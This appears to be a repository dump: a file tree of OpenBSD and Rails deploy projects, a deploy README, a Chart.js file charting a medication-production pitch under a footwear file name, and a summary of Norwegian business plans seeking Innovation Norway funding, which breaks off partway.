README.md
bin/
bp/
01_syre_footwear.js
04_pub_healthcare.js
IMPLEMENTATION_SUMMARY.md
README.md
govt_bergen.js
htu/
mg_footwear.yml
mg_space.yml
norwegianhedge.js
ragnhild.js
speis.js
syre.js
burst.rb
dilla/
README.md
dilla.rb
dilla_analog.rb
dilla_hiphop.rb
electronium.rb
make.rb
master.rb
stems/
manifest.json
techno_hate.rb
dilla.rb
master.json
nmap.rb
openbsd/
README.md
_net.sh
backup_priv.sh
etc/
acme-client.conf
doas.conf
httpd.conf
login.conf
mail/
smtpd.conf
pf.conf
pf.stage1.conf
rc.d/
relayd.conf
openbsd.sh
sync.rb
usr/
local/
bin/
renew-certs.sh
postpro/
postpro.rb
quarantine/
virus_museum/
README.md
pklog.sh.txt
pouncekeys_setup.zsh.txt
rails/
ARCHITECTURE_NOTES.md
LIVE_SEARCH_STANDARD.md
PRODUCTION_READINESS.md
README.md
amber/
ARCHITECTURE.md
Gemfile
README.md
STIMULUS_ROLLOUT.md
amber.sh
app/
assets/
builds/
stylesheets/
channels/
application_cable/
connection.rb
controllers/
ai_controller.rb
application_controller.rb
concerns/
authentication.rb
declutter_controller.rb
follows_controller.rb
home_controller.rb
items_controller.rb
outfits_controller.rb
passwords_controller.rb
planned_outfits_controller.rb
posts_controller.rb
registrations_controller.rb
sessions_controller.rb
users_controller.rb
wardrobe_items_controller.rb
helpers/
application_helper.rb
javascript/
application.js
controllers/
animated_number_controller.js
application.js
application_controller.js
auto_submit_controller.js
character_counter_controller.js
clipboard_controller.js
dialog_controller.js
dropdown_controller.js
filter_controller.js
hello_controller.js
index.js
notification_controller.js
sortable_controller.js
textarea_autogrow_controller.js
timeago_controller.js
wardrobe_carousel_controller.js
jobs/
calculate_sustainability_job.rb
embed_garment_job.rb
recommend_outfits_job.rb
remove_background_job.rb
segment_garment_image_job.rb
wardrobe_media_job.rb
mailers/
passwords_mailer.rb
models/
affiliate_link.rb
consent_event.rb
creator_profile.rb
creator_wardrobe_item.rb
current.rb
declutter_challenge.rb
declutter_outcome.rb
declutter_review.rb
follow.rb
garment_embedding.rb
identity_verification.rb
item.rb
outfit.rb
outfit_item.rb
packing_list.rb
packing_list_item.rb
planned_outfit.rb
post.rb
privacy_setting.rb
profile.rb
recommendation.rb
session.rb
style_preference.rb
style_profile.rb
sustainability_metric.rb
user.rb
wardrobe_item.rb
wear_log.rb
reflexes/
application_reflex.rb
services/
capsule_builder_service.rb
declutter_action_router.rb
declutter_dashboard_service.rb
declutter_score_service.rb
duplicate_detector_service.rb
garment_taxonomy.rb
last_chance_outfit_service.rb
outfit_compatibility_service.rb
outfit_ordering.rb
wardrobe_ai_service.rb
wardrobe_gap_service.rb
wardrobe_visibility_policy.rb
weather_service.rb
views/
ai/
_analysis.html.erb
_item_tags.html.erb
capsule.html.erb
color_palette.html.erb
declutter_guide.html.erb
mood_board.html.erb
occasion_map.html.erb
packing_list.html.erb
search.html.erb
style_profile.html.erb
suggest_outfits.html.erb
declutter/
index.html.erb
review.html.erb
home/
index.html.erb
items/
_form.html.erb
_item.html.erb
edit.html.erb
index.html.erb
new.html.erb
shopping_list.html.erb
show.html.erb
layouts/
application.html.erb
mailer.html.erb
mailer.text.erb
outfits/
_form.html.erb
_outfit.html.erb
dressing_room.html.erb
edit.html.erb
index.html.erb
new.html.erb
show.html.erb
passwords/
edit.html.erb
new.html.erb
passwords_mailer/
reset.html.erb
reset.text.erb
planned_outfits/
index.html.erb
posts/
_post.html.erb
feed.html.erb
index.html.erb
new.html.erb
show.html.erb
pwa/
manifest.json.erb
service-worker.js
registrations/
new.html.erb
sessions/
new.html.erb
shared/
_errors.html.erb
_flash.html.erb
_logo.html.erb
_pagination.html.erb
users/
show.html.erb
wardrobe_items/
_form.html.erb
edit.html.erb
index.html.erb
new.html.erb
bin/
config/
application.rb
cable.yml
cache.yml
database.yml
deploy.yml
environments/
production.rb
falcon.rb
importmap.rb
initializers/
requires.rb
puma.rb
queue.yml
recurring.yml
routes.rb
db/
cable_schema.rb
cache_schema.rb
migrate/
20260504180350_create_users.rb
20260504180352_create_sessions.rb
20260504180357_create_active_storage_tables.active_storage.rb
20260504180401_create_items.rb
20260504180405_create_outfit_items.rb
20260504180406_create_planned_outfits.rb
20260504180410_add_extended_fields_to_items.rb
20260504205505_create_outfits.rb
20260504211952_create_follows.rb
20260504212306_create_posts.rb
20260515000100_add_amber_identity_and_intelligence.rb
20260515000200_add_declutter_logic.rb
queue_schema.rb
schema.rb
seeds.rb
test/
deploy/
amber_script_test.rb
models/
item_test.rb
services/
wardrobe_ai_service_test.rb
test_helper.rb
apps.yml
baibl/
Gemfile
README.md
app/
assets/
stylesheets/
controllers/
application_controller.rb
bookmarks_controller.rb
concerns/
authentication.rb
highlights_controller.rb
passwords_controller.rb
scriptures_controller.rb
sessions_controller.rb
javascript/
application.js
controllers/
animated_number_controller.js
application.js
application_controller.js
auto_submit_controller.js
character_counter_controller.js
clipboard_controller.js
dialog_controller.js
dropdown_controller.js
hello_controller.js
index.js
notification_controller.js
sortable_controller.js
textarea_autogrow_controller.js
timeago_controller.js
word_study_controller.js
jobs/
analysis_job.rb
models/
annotation.rb
book.rb
bookmark.rb
chapter.rb
cross_reference.rb
current.rb
highlight.rb
reading_plan.rb
reading_plan_day.rb
session.rb
user.rb
verse.rb
word_study.rb
reflexes/
application_reflex.rb
services/
scripture_search.rb
views/
bookmarks/
index.html.erb
highlights/
create.turbo_stream.erb
destroy.turbo_stream.erb
layouts/
application.html.erb
mailer.html.erb
mailer.text.erb
passwords/
edit.html.erb
new.html.erb
pwa/
manifest.json.erb
service-worker.js
scriptures/
_word_study.html.erb
book.html.erb
chapter.html.erb
index.html.erb
search.html.erb
sessions/
new.html.erb
baibl.sh
bin/
config/
application.rb
cable.yml
database.yml
deploy.yml
environments/
production.rb
importmap.rb
puma.rb
routes.rb
db/
migrate/
20260501020807_create_users.rb
20260501020818_create_sessions.rb
20260507120001_create_books.rb
20260507120002_create_chapters.rb
20260507120003_create_verses.rb
20260507120004_create_highlights.rb
20260507120005_create_bookmarks.rb
20260507120006_create_reading_plans.rb
20260507120007_create_reading_plan_days.rb
20260507120008_create_cross_references.rb
20260507120009_create_word_studies.rb
20260528000100_create_verses_fts.rb
seeds.rb
blognet/
Gemfile
README.md
app/
assets/
stylesheets/
channels/
application_cable/
connection.rb
controllers/
application_controller.rb
blogs_controller.rb
comments_controller.rb
concerns/
authentication.rb
passwords_controller.rb
posts_controller.rb
sessions_controller.rb
javascript/
application.js
controllers/
animated_number_controller.js
application.js
application_controller.js
auto_submit_controller.js
character_counter_controller.js
clipboard_controller.js
dialog_controller.js
dropdown_controller.js
hello_controller.js
index.js
notification_controller.js
sortable_controller.js
textarea_autogrow_controller.js
timeago_controller.js
mailers/
passwords_mailer.rb
models/
blog.rb
categorization.rb
category.rb
comment.rb
current.rb
post.rb
session.rb
tag.rb
tagging.rb
user.rb
reflexes/
application_reflex.rb
views/
active_storage/
blobs/
_blob.html.erb
blogs/
_form.html.erb
edit.html.erb
index.html.erb
new.html.erb
show.html.erb
comments/
_comment.html.erb
layouts/
action_text/
contents/
_content.html.erb
application.html.erb
mailer.html.erb
mailer.text.erb
passwords/
edit.html.erb
new.html.erb
passwords_mailer/
reset.html.erb
reset.text.erb
posts/
_form.html.erb
edit.html.erb
index.html.erb
new.html.erb
show.html.erb
pwa/
manifest.json.erb
service-worker.js
sessions/
new.html.erb
bin/
blognet.sh
config/
application.rb
cable.yml
cache.yml
database.yml
deploy.yml
environments/
production.rb
importmap.rb
puma.rb
queue.yml
recurring.yml
routes.rb
db/
cable_schema.rb
cache_schema.rb
migrate/
20260501020807_create_users.rb
20260501020818_create_sessions.rb
20260501020848_create_active_storage_tables.active_storage.rb
20260501020920_create_action_text_tables.action_text.rb
20260507120001_create_blogs.rb
20260507120002_create_posts.rb
20260507120003_create_categories.rb
20260507120004_create_categorizations.rb
20260507120005_create_comments.rb
20260507120006_create_tags.rb
20260507120007_create_taggings.rb
queue_schema.rb
schema.rb
seeds.rb
brgen/
Gemfile
README.md
STIMULUS_ROLLOUT.md
app/
assets/
stylesheets/
channels/
application_cable/
channel.rb
connection.rb
controllers/
activity_events_controller.rb
application_controller.rb
comments_controller.rb
communities_controller.rb
concerns/
authentication.rb
conversations_controller.rb
dating/
base_controller.rb
dislikes_controller.rb
home_controller.rb
likes_controller.rb
matches_controller.rb
profiles_controller.rb
email_subscriptions_controller.rb
follows_controller.rb
home_controller.rb
locations_controller.rb
maps/
base_controller.rb
home_controller.rb
places_controller.rb
marketplace/
base_controller.rb
carts_controller.rb
categories_controller.rb
deals_controller.rb
favorites_controller.rb
listings_controller.rb
orders_controller.rb
saved_searches_controller.rb
stores_controller.rb
messages_controller.rb
nearby_controller.rb
notifications_controller.rb
passwords_controller.rb
playlist/
audio_versions_controller.rb
base_controller.rb
collaborations_controller.rb
dilla_sketches_controller.rb
hosted_tracks_controller.rb
listens_controller.rb
playlists_controller.rb
sets_controller.rb
timestamped_comments_controller.rb
tracks_controller.rb
playlist_controller.rb
posts_controller.rb
push_subscriptions_controller.rb
reactions_controller.rb
reports_controller.rb
sessions_controller.rb
takeaway/
base_controller.rb
delivery_drivers_controller.rb
favorite_restaurants_controller.rb
menu_items_controller.rb
orders_controller.rb
restaurants_controller.rb
reviews_controller.rb
tv/
base_controller.rb
channels_controller.rb
comments_controller.rb
home_controller.rb
live_streams_controller.rb
stream_chats_controller.rb
video_notes_controller.rb
videos_controller.rb
typing_indicators_controller.rb
votes_controller.rb
javascript/
application.js
controllers/
animated_number_controller.js
application.js
application_controller.js
auto_submit_controller.js
character_counter_controller.js
clipboard_controller.js
dialog_controller.js
dropdown_controller.js
futurism_load_more_controller.js
geolocation_controller.js
hello_controller.js
index.js
lightbox_controller.js
media_picker_controller.js
notification_controller.js
push_controller.js
share_controller.js
sortable_controller.js
textarea_autogrow_controller.js
timeago_controller.js
typing_controller.js
typing_input_controller.js
jobs/
notification_delivery_job.rb
postpro_job.rb
mailers/
email_subscription_mailer.rb
newsletter_mailer.rb
passwords_mailer.rb
models/
account_merge.rb
activity_event.rb
city.rb
comment.rb
community.rb
concerns/
commentable.rb
mentionable.rb
pushable.rb
taggable.rb
votable.rb
conversation.rb
conversation_participant.rb
current.rb
dating/
dislike.rb
like.rb
match.rb
profile.rb
dating.rb
email_subscription.rb
external_identity.rb
follow.rb
hashtag.rb
identity_assurance.rb
identity_provider.rb
marketplace/
category.rb
deal.rb
listing.rb
listing_favorite.rb
order.rb
saved_search.rb
store.rb
marketplace.rb
mention.rb
message.rb
message_receipt.rb
moderation_flag.rb
moderation_report.rb
neighborhood.rb
notification.rb
place.rb
playlist/
audio_version.rb
collaboration.rb
dilla_sketch.rb
like.rb
listen.rb
playlist.rb
playlist_track.rb
set.rb
set_track.rb
timestamped_comment.rb
track.rb
playlist.rb
post.rb
push_subscription.rb
reaction.rb
reputation_score.rb
session.rb
stream.rb
tagging.rb
takeaway/
delivery_driver.rb
favorite_restaurant.rb
menu_item.rb
order.rb
order_item.rb
restaurant.rb
review.rb
takeaway.rb
trust_signal.rb
tv/
broadcast.rb
channel.rb
comment.rb
live_stream.rb
stream_chat.rb
subscription.rb
video.rb
video_note.rb
view_event.rb
tv.rb
typing_indicator.rb
user.rb
vote.rb
reflexes/
application_reflex.rb
paginate_reflex.rb
vote_reflex.rb
services/
account_merge_service.rb
activity_event_recorder.rb
dating/
matchmaking_service.rb
follow_toggle.rb
identity_assurance_service.rb
reaction_toggle.rb
scrape.rb
thread_summarizer.rb
tradedoubler.rb
trust_score_calculator.rb
views/
activity_events/
index.html.erb
comments/
_comment.html.erb
communities/
index.html.erb
new.html.erb
show.html.erb
conversations/
index.html.erb
show.html.erb
dating/
home/
index.html.erb
matches/
index.html.erb
profiles/
edit.html.erb
new.html.erb
show.html.erb
email_subscription_mailer/
confirm.html.erb
confirm.text.erb
follows/
create.turbo_stream.erb
home/
index.html.erb
layouts/
application.html.erb
mailer.html.erb
mailer.text.erb
maps/
home/
index.html.erb
marketplace/
carts/
show.html.erb
categories/
show.html.erb
deals/
index.html.erb
show.html.erb
listings/
_card.html.erb
edit.html.erb
index.html.erb
new.html.erb
show.html.erb
saved_searches/
index.html.erb
stores/
_form.html.erb
index.html.erb
new.html.erb
show.html.erb
messages/
_message.html.erb
create.turbo_stream.erb
new.html.erb
nearby/
_alert.html.erb
index.html.erb
newsletter_mailer/
weekly_deals.html.erb
notifications/
_notification.html.erb
index.html.erb
read_all.turbo_stream.erb
update.turbo_stream.erb
passwords/
edit.html.erb
new.html.erb
passwords_mailer/
reset.html.erb
reset.text.erb
playlist/
index.html.erb
playlists/
edit.html.erb
index.html.erb
new.html.erb
show.html.erb
sets/
_form.html.erb
edit.html.erb
index.html.erb
new.html.erb
show.html.erb
posts/
_post.html.erb
edit.html.erb
index.html.erb
new.html.erb
show.html.erb
pwa/
manifest.json.erb
service-worker.js
reactions/
create.turbo_stream.erb
reports/
create.turbo_stream.erb
sessions/
new.html.erb
shared/
_affiliate_deals.html.erb
_email_subscribe.html.erb
_follow_button.html.erb
_media_gallery.html.erb
_reaction_bar.html.erb
_report_button.html.erb
_vote.html.erb
takeaway/
delivery_drivers/
index.html.erb
show.html.erb
orders/
index.html.erb
new.html.erb
show.html.erb
restaurants/
edit.html.erb
index.html.erb
new.html.erb
show.html.erb
tv/
channels/
edit.html.erb
index.html.erb
new.html.erb
show.html.erb
home/
index.html.erb
live_streams/
index.html.erb
new.html.erb
show.html.erb
videos/
_tv_video.html.erb
new.html.erb
show.html.erb
typing_indicators/
_indicator.html.erb
votes/
create.turbo_stream.erb
bin/
brgen.sh
brgen_AUTH.md
brgen_CORE.md
brgen_DOMAIN_MATRIX.md
config/
application.rb
cable.yml
cache.yml
database.yml
deploy.yml
environments/
production.rb
falcon.rb
importmap.rb
puma.rb
queue.yml
recurring.yml
routes.rb
db/
cable_schema.rb
cache_schema.rb
migrate/
20260311162114_create_users.rb
20260311162121_create_sessions.rb
20260311162206_create_communities.rb
20260311162227_create_reactions.rb
20260311162235_create_streams.rb
20260311162345_create_posts.rb
20260311162350_create_comments.rb
20260311162355_add_fields_to_users.rb
20260311163039_create_votes.rb
20260311163634_create_follows.rb
20260311163641_create_hashtags.rb
20260311163648_create_taggings.rb
20260311163655_create_mentions.rb
20260311164112_create_conversations.rb
20260311164119_create_conversation_participants.rb
20260311164127_create_messages.rb
20260311164134_create_message_receipts.rb
20260311164141_create_typing_indicators.rb
20260311165000_add_guest_to_users.rb
20260311221744_add_user_description_to_communities.rb
20260505002649_create_tv_channels.rb
20260505002659_create_tv_videos.rb
20260505002711_create_tv_broadcasts.rb
20260505002719_create_tv_subscriptions.rb
20260505002729_create_tv_view_events.rb
20260505014447_create_dating_profiles.rb
20260505014452_create_dating_likes.rb
20260505014457_create_dating_dislikes.rb
20260505014503_create_dating_matches.rb
20260505015400_create_playlist_playlists.rb
20260505015406_create_playlist_tracks.rb
20260505015411_create_playlist_playlist_tracks.rb
20260505015416_create_playlist_listens.rb
20260505015440_create_takeaway_restaurants.rb
20260505015446_create_takeaway_menu_items.rb
20260505015451_create_takeaway_orders.rb
20260505015456_create_takeaway_order_items.rb
20260505015518_create_marketplace_categories.rb
20260505015523_create_marketplace_listings.rb
20260505015530_create_marketplace_orders.rb
20260514120000_create_identity_and_trust_primitives.rb
20260514121000_create_locality_primitives.rb
20260517142629_add_location_to_users.rb
20260517144635_create_push_subscriptions.rb
20260517150650_create_active_storage_tables.rb
20260517155314_create_email_subscriptions.rb
20260524001000_create_brgen_restored_subapp_tables.rb
20260524001300_create_marketplace_stores.rb
20260524001400_create_marketplace_deals.rb
20260524103100_create_marketplace_listing_favorites.rb
20260524103200_create_tv_comments.rb
20260524104000_create_activity_events.rb
20260524104100_create_marketplace_saved_searches.rb
20260524104200_create_notifications.rb
20260524104300_create_moderation_reports.rb
20260524104500_create_takeaway_favorite_restaurants.rb
20260524113000_create_brgen_social_tables.rb
20260528000100_create_posts_fts.rb
20260528000200_create_playlist_set_tracks.rb
20260528000300_add_delivery_driver_to_takeaway_orders.rb
20260529000000_add_marketing_consent_to_email_subscriptions.rb
20260602123000_create_takeaway_reviews.rb
20260602140000_add_collaborative_to_playlist_playlists.rb
20260602150000_add_neighborhood_to_dating_profiles.rb
20260602160000_create_playlist_dilla_sketches.rb
20260602170000_add_thread_summary_to_comments.rb
queue_schema.rb
schema.rb
seeds.rb
domains.yml
lib/
brgen/
city_seed.rb
domain_registry.rb
seed_cities.rb
tasks/
public/
fonts/
images/
test/
test_helper.rb
bsdports/
Gemfile
README.md
STIMULUS_ROLLOUT.md
app/
assets/
images/
stylesheets/
controllers/
application_controller.rb
categories_controller.rb
comments_controller.rb
concerns/
authentication.rb
maintainers_controller.rb
passwords_controller.rb
ports_controller.rb
sessions_controller.rb
javascript/
application.js
controllers/
animated_number_controller.js
application.js
application_controller.js
auto_submit_controller.js
character_counter_controller.js
clipboard_controller.js
dialog_controller.js
dropdown_controller.js
hello_controller.js
index.js
notification_controller.js
sortable_controller.js
textarea_autogrow_controller.js
timeago_controller.js
jobs/
ports_import_job.rb
models/
category.rb
comment.rb
current.rb
dependency.rb
installation.rb
maintainer.rb
port.rb
port_update.rb
review.rb
security_advisory.rb
session.rb
user.rb
watch.rb
reflexes/
application_reflex.rb
services/
nvd_cve_service.rb
ports_search.rb
views/
categories/
index.html.erb
show.html.erb
comments/
_comment.html.erb
layouts/
application.html.erb
mailer.html.erb
mailer.text.erb
maintainers/
index.html.erb
show.html.erb
passwords/
edit.html.erb
new.html.erb
ports/
index.html.erb
show.html.erb
pwa/
manifest.json.erb
service-worker.js
sessions/
new.html.erb
bin/
bsdports.sh
config/
application.rb
cable.yml
database.yml
deploy.yml
environments/
production.rb
importmap.rb
puma.rb
routes.rb
db/
migrate/
20260501020807_create_users.rb
20260501020818_create_sessions.rb
20260507120001_create_categories.rb
20260507120002_create_ports.rb
20260507120003_create_dependencies.rb
20260507120004_create_port_updates.rb
20260507120005_create_watches.rb
20260507120006_create_comments.rb
20260528000100_create_ports_fts.rb
20260602123000_create_security_advisories.rb
20260603123000_create_maintainers.rb
20260603123001_add_maintainer_to_ports.rb
seeds.rb
lib/
tasks/
check_ports.sh
check_production_gate.rb
hjerterom/
Gemfile
README.md
app/
assets/
stylesheets/
controllers/
application_controller.rb
boxes_controller.rb
community_controller.rb
concerns/
authentication.rb
donations_controller.rb
food_listings_controller.rb
food_requests_controller.rb
home_controller.rb
passwords_controller.rb
resources_controller.rb
sessions_controller.rb
shifts_controller.rb
volunteers_controller.rb
javascript/
application.js
controllers/
animated_number_controller.js
application.js
application_controller.js
auto_submit_controller.js
character_counter_controller.js
clipboard_controller.js
dialog_controller.js
dropdown_controller.js
hello_controller.js
index.js
notification_controller.js
sortable_controller.js
textarea_autogrow_controller.js
timeago_controller.js
hjerterom_map.js
models/
beneficiary.rb
box.rb
category.rb
comment.rb
crisis.rb
current.rb
donation.rb
donor.rb
food_item.rb
food_listing.rb
food_request.rb
post.rb
resource.rb
session.rb
shift.rb
support_request.rb
user.rb
volunteer.rb
reflexes/
application_reflex.rb
views/
boxes/
_box.html.erb
_form.html.erb
create.turbo_stream.erb
edit.html.erb
index.html.erb
new.html.erb
show.html.erb
update.turbo_stream.erb
community/
index.html.erb
new.html.erb
show.html.erb
donations/
_form.html.erb
edit.html.erb
index.html.erb
new.html.erb
show.html.erb
food_listings/
_form.html.erb
edit.html.erb
index.html.erb
new.html.erb
show.html.erb
food_requests/
update.turbo_stream.erb
home/
index.html.erb
layouts/
application.html.erb
mailer.html.erb
mailer.text.erb
passwords/
edit.html.erb
new.html.erb
pwa/
manifest.json.erb
service-worker.js
resources/
_form.html.erb
edit.html.erb
index.html.erb
new.html.erb
show.html.erb
sessions/
new.html.erb
shared/
_logo.html.erb
shifts/
_form.html.erb
_shift.html.erb
create.turbo_stream.erb
index.html.erb
update.turbo_stream.erb
volunteers/
_form.html.erb
_volunteer.html.erb
_volunteer_details.html.erb
create.turbo_stream.erb
edit.html.erb
index.html.erb
new.html.erb
show.html.erb
update.turbo_stream.erb
bin/
config/
application.rb
cable.yml
database.yml
deploy.yml
environments/
production.rb
importmap.rb
puma.rb
routes.rb
db/
migrate/
20260501020807_create_users.rb
20260501020818_create_sessions.rb
20260507120001_create_categories.rb
20260507120002_create_resources.rb
20260507120003_create_crises.rb
20260507120004_create_food_listings.rb
20260507120005_create_food_requests.rb
20260507120006_create_posts.rb
20260507120007_create_comments.rb
20260507120008_create_support_requests.rb
20260524000100_create_hjerterom_core.rb
seeds.rb
hjerterom.sh
marketplace/
app/
controllers/
marketplace/
listings_controller.rb
views/
marketplace/
listings/
index.html.erb
shared/
Rakefile
WIRING_NOTES.md
app/
controllers/
concerns/
shared/
actor_identity.rb
live_searchable.rb
media_guard.rb
structured_events.rb
shared/
notifications_controller.rb
reactions_controller.rb
review_cases_controller.rb
helpers/
application_helper.rb
schema_helper.rb
jobs/
application_job.rb
shared/
media_processing_job.rb
mailers/
application_mailer.rb
models/
application_record.rb
concerns/
shared/
followable.rb
reactable.rb
shared/
chat_message.rb
follow.rb
notification.rb
post.rb
reaction.rb
review_case.rb
services/
shared/
event_emitter.rb
frontend_auditor.rb
frontend_rule_set.rb
live_search.rb
reaction_toggle.rb
views/
shared/
_copyable.html.erb
_futurism_pagy_list.html.erb
_minimal_ui.html.erb
bin/
config/
boot.rb
bundler-audit.yml
ci.rb
environment.rb
environments/
development.rb
test.rb
initializers/
assets.rb
content_security_policy.rb
filter_parameter_logging.rb
inflections.rb
pagy.rb
ruby_llm.rb
locales/
en.yml
storage.yml
db/
migrate/
20260524000200_create_shared_social_tables.rb
deploy/
@shared_functions.sh
frontend/
LLM_SAFE_FRONTEND_RULES.md
STIMULUS_COMPONENTS_BASELINE.md
examples.html.erb
layouts/
_flash.html.erb
_footer.html.erb
_meta.html.erb
_nav.html.erb
application.html.erb
visualizer.js
minimal-gesture.js
stimulus_components.js
install_frontend_baseline.sh
public/
robots.txt
styles/
test_check_ports.sh
repligen.rb
sh/
backup.sh
clean.sh
deploy_all.sh
fix_passwords.zsh
free_up_space.sh
lint.sh
open_in_vim.zsh
perms.sh
replace.sh
restore_backups.sh
tools/
apartments.rb
convert_python.rb
key_bindings.zsh
tree.rb
vulcheck.rb
tree.sh
watch_tests.sh
stipple.rb
verify_deploy_identity.rb
# DEPLOY
Deploy scripts for all pub4 services on OpenBSD 7.8.
## Layout
DEPLOY/ openbsd/ Full VPS stack (pf, relayd, httpd, smtpd, nsd, masterweb) rails/ Rails app deploy scripts per project
## OpenBSD
Two-stage deploy — run from tmux:
```zsh
tmux new-session -d -s deploy "doas zsh DEPLOY/openbsd/openbsd.sh 2>&1 | tee /tmp/deploy.log"
Stage 1: DNS checks, TLS certs (acme-client), pkg_add. Stage 2: app installs, relayd config, rc.d services.
Resume interrupted run: doas zsh openbsd.sh --resume
Each subdirectory contains a deploy script for one app:
rails/
amber/ amber.sh
baibl/ baibl.sh
blognet/ blognet.sh
brgen/ brgen*.sh
bsdports/ bsdports.sh
hjerterom/ hjerterom.sh
privcam/ privcam.sh
__shared/ Common utilities and feature modules
## `bp/01_syre_footwear.js`
```javascript
// Initialize Chart.js charts here
// Chart.js visualizations for ECharts-style data presentation
// 1. Medication Production Timeline (24-hour cycle)
const timelineCtx = document.getElementById('timelineChart');
if (timelineCtx) {
new Chart(timelineCtx, {
type: 'bar',
data: {
labels: ['Prescription\n\nReceived', 'AI Recipe\n\nOptimization', 'Synthesis\n\nExecution', 'Quality\n\nControl', 'Packaging\n\n& Dispensing'],
datasets: [{
label: 'Hours',
data: [0.5, 2, 18, 2.5, 1],
backgroundColor: '#DA7756',
borderColor: '#C15F3C',
borderWidth: 1
}]
},
options: {
responsive: true,
plugins: {
legend: { display: false },
title: {
display: true,
text: 'From Prescription to Production: 24 Hours',
font: { size: 16, family: 'Source Serif 4' }
}
},
scales: {
y: {
beginAtZero: true,
title: { display: true, text: 'Hours' }
}
}
}
});
}
// 2. Norwegian Hospital Network Deployment
const deploymentCtx = document.getElementById('deploymentChart');
if (deploymentCtx) {
new Chart(deploymentCtx, {
type: 'line',
data: {
labels: ['Q1\n\nYear 1', 'Q2\n\nYear 1', 'Q3\n\nYear 1', 'Q4\n\nYear 1', 'Q1\n\nYear 2', 'Q2\n\nYear 2', 'Q3\n\nYear 2', 'Q4\n\nYear 2', 'Q1\n\nYear 3', 'Q2\n\nYear 3', 'Q3\n\nYear 3', 'Q4\n\nYear 3'],
datasets: [{
label: 'Cumulative Installations',
data: [1, 2, 3, 3, 8, 12, 18, 25, 40, 60, 75, 90],
backgroundColor: 'rgba(218, 119, 86, 0.2)',
borderColor: '#DA7756',
borderWidth: 2,
fill: true,
tension: 0.4
}]
},
options: {
responsive: true,
plugins: {
legend: { display: true },
title: {
display: true,
text: '55 Hospital Installations Over 3 Years',
font: { size: 16, family: 'Source Serif 4' }
}
},
scales: {
y: {
beginAtZero: true,
title: { display: true, text: 'Installations' }
}
}
}
});
}
// 3. Cost Reduction Curve
const costCtx = document.getElementById('costChart');
if (costCtx) {
new Chart(costCtx, {
type: 'line',
data: {
labels: ['Year 1\n\nPilot', 'Year 2\n\nScale', 'Year 3\n\nOptimize', 'Year 4\n\nMature'],
datasets: [{
label: 'Cost per Dose (NOK)',
data: [150, 85, 35, 30],
backgroundColor: 'rgba(193, 95, 60, 0.2)',
borderColor: '#C15F3C',
borderWidth: 2,
fill: true,
tension: 0.4
}]
},
options: {
responsive: true,
plugins: {
legend: { display: true },
title: {
display: true,
text: '77% Cost Reduction Through Automation',
font: { size: 16, family: 'Source Serif 4' }
}
},
scales: {
y: {
beginAtZero: true,
title: { display: true, text: 'NOK per Dose' }
}
}
}
});
}
// 4. Social Impact Dashboard
const impactCtx = document.getElementById('impactChart');
if (impactCtx) {
new Chart(impactCtx, {
type: 'bar',
data: {
labels: ['Nordland', 'Troms', 'Finnmark', 'Møre og\n\nRomsdal', 'Sogn og\n\nFjordane', 'Oppland', 'Hedmark'],
datasets: [{
label: 'Patients Served',
data: [15000, 12000, 8000, 18000, 14000, 11000, 10000],
backgroundColor: '#DA7756',
borderColor: '#C15F3C',
borderWidth: 1
}]
},
options: {
responsive: true,
plugins: {
legend: { display: true },
title: {
display: true,
text: 'Rural Healthcare Access: 88,000 Patients Year 3',
font: { size: 16, family: 'Source Serif 4' }
}
},
scales: {
y: {
beginAtZero: true,
title: { display: true, text: 'Patients Served' }
}
}
}
});
}# Business Plans Implementation Summary
## Objective Completed ✅
Created consolidated `bplans/` directory in pub3 with 8 complete Norwegian business plans optimized for Innovasjon Norge (Innovation Norway) funding applications.
**Total Funding Target:** NOK 2,800,000
---
## Implementation Details
### Directory Structurepub3/bplans/ ├── __shared/ │ └── template.html.erb # ERB template (17.9 KB) ├── data/
│ ├── syre.json # 9.0 KB
│ ├── speis.json # 8.2 KB
│ ├── norwegianhedge.json # 8.3 KB
│ ├── pubhealthcare.json # 8.5 KB
│ ├── ragnhild.json # 8.7 KB
│ ├── govt_bergen.json # 8.6 KB
│ ├── nato.json # 9.2 KB
│ └── ai3.json # 9.0 KB
├── assets/
│ └── images/
│ ├── ivaar_fkyeah1.png # 1.2 MB (copied from existing)
│ ├── ivaar_fkyeah2.png # 1.9 MB (copied from existing)
│ └── ivaar_fkyeah3.png # 1.8 MB (copied from existing)
├── generated/ # 8 HTML files (19-23 KB each)
│ ├── syre.html
│ ├── speis.html
│ ├── norwegianhedge.html
│ ├── pubhealthcare.html
│ ├── ragnhild.html
│ ├── govt_bergen.html
│ ├── nato.html
│ └── ai3.html
├── generate.rb # Ruby generator (4.2 KB)
├── index.html # Directory listing (9.0 KB)
└── README.md # Documentation (6.0 KB)
---
## Business Plans Overview
### 1. SYRE™ - 3D-printede sko med bærekraft
- **Sector:** Environment & Sustainability
- **Funding:** NOK 250,000
- **Innovation:** Multi-material 3D printing, parametric CAD (Grasshopper/Rhino)
- **Key Features:** G-TPU materials, mycelium leather, 1:1 donation model
- **File:** syre.html (23 KB, 9 sections, 3 charts, carousel enabled)
### 2. SPEIS - NATO Aurora skip + kampfly 7-10. gen
- **Sector:** Maritime + Defense
- **Funding:** NOK 500,000
- **Innovation:** Nuclear-hybrid Arctic ships + next-gen fighter jets
- **Key Features:** AI propulsion, 3.5m ice-breaking, modular systems
- **File:** speis.html (19 KB, 9 sections, 2 charts)
### 3. Norwegian Hedge - Hedgefond + Ruby-handelsbots
- **Sector:** Technology + Finance
- **Funding:** NOK 300,000
- **Innovation:** Ruby bot swarm with AI³ meta-learning
- **Key Features:** HFT, scalping, arbitrage, 1.5%/15% fee structure
- **File:** norwegianhedge.html (21 KB, 9 sections, 3 charts)
### 4. pub.healthcare - Autonome parametriske sykehus
- **Sector:** Health
- **Funding:** NOK 500,000
- **Innovation:** Self-constructing hospitals (90-day deployment)
- **Key Features:** Robotic assembly, AI patient flow, energy self-sufficient
- **File:** pubhealthcare.html (21 KB, 9 sections, 3 charts)
### 5. Ragnhild - Begravelsesbyrå (Karaokekiste)
- **Sector:** Social Innovation
- **Funding:** NOK 150,000
- **Innovation:** Modern funeral services with LED-lit caskets
- **Key Features:** Karaokekiste, Diskokiste, Klovnepallbærere, holography
- **File:** ragnhild.html (21 KB, 9 sections, 3 charts)
### 6. Bergen Selvstyreparti - Politisk teknologiplattform
- **Sector:** Civic Tech
- **Funding:** NOK 200,000
- **Innovation:** Blockchain-based local governance (DAO for municipality)
- **Key Features:** Quadratic voting, smart contracts, full transparency
- **File:** govt_bergen.html (21 KB, 9 sections, 3 charts)
### 7. NATO Aurora - Arktiske dominanseskip
- **Sector:** Maritime + Defense
- **Funding:** NOK 500,000
